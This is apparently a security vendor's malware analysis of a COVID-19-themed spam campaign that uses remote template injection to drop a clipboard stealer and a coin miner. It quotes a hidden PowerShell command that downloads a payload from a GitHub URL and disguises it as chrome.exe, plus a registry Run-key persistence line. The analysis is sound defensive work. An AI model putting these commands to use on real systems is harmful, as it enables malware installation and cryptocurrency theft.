Recently, we observed a malware spam campaign leveraging the current COVID-19 situation. The emails were sent from a compromised mailbox using a mailer script. The message contains a link leading to a Word document. The email takes advantage of a COVID-19 test mandate as a pretext to lure the unsuspecting user into clicking the link and downloading the document.
The initial downloaded Word document has no malicious code. But once the victim opens the Word document, it will try to retrieve a malicious macro-enabled template from a remote server. The technique is known as Remote Template Injection and is commonly used to evade static detection. After loading the remote template, it will then prompt the user in enabling macro content.
The template has Base64 binary files which are contained in the VBA UserForm. These binaries will be decoded and dropped by the custom VBA functions in the template. The binaries that will be dropped are as follows:
- %APPDATA%\Microsoft\Windows\COM Surrogate\dllhost.exe (ClipBanker)
- C:\cfe91497d9137b2\ffd0.exe (Coinminer downloader)
- %TEMP%\instx.exe (Coinminer loader)
- C:\cfe91497d9137b2\COVID-19.docx (Injected Word document)
The first binary dropped is an infostealer known as ClipBanker. This threat monitors the clipboard and replaces cryptocurrency wallet addresses in the infected system with the threat actor’s own. The macro script creates a registry startup key as a form of persistence.
[%random%5] = %AppData%\Local\Microsoft\Windows\COM Surrogate\dllhost.exe
To begin the mining process, the loader will start the downloader and it will then try to elevate the user privilege. Next, the downloader fetches the main payload from a remote server, a coin miner and its configuration files. The coin miner will then be saved as “chrome.exe” to masquerade itself as a web browser.
powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden $ProgressPreference = ',27h,'SilentlyContinue',27h,'; Invoke-WebRequest https://github.com/octopus734/BitcoinLight/releases/download/BitcoinLight/BitcoinLight.dat -OutFile "$env:appdata/Google` Chrome/chrome.exe"
Also, a registry startup key is added for the persistence of the coin miner.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
[%random%] = "%AppData%\Google Chrome\chrome.exe"
The macro-enabled template also embedded a copy of the original Word document in the VBA UserForm. The embedded Word document is dropped at C:/cfe91497d9137b2/COVID-19.docx.
The template can propagate itself beyond the infected system. This is done by hijacking the victim’s Outlook application via some macro VBA code, and harvesting the contact list.
The macro will then send an email to each of the victim’s contacts with a copy of the COVID-19 themed document as an attachment. With this method, sent emails are likely to be opened and documents downloaded and executed by the recipients as they come from a trusted sender. Finally, the sent emails will be deleted by the macro script in an attempt to cover its tracks and remove evidence.
As we continue to deal with the threats of COVID-19-related malware with the resurgence of a new variant, threat actors are taking advantage of the health scares and uncertainties to deliver malware, harvest credentials, and ultimately, gain financially.
The MailMarshal Secure Email Gateway has added protection for this threat for our customers. As usual, we advise all users to avoid clicking on URLs and attachments in unsolicited emails.
Indicators of Compromise (IOC)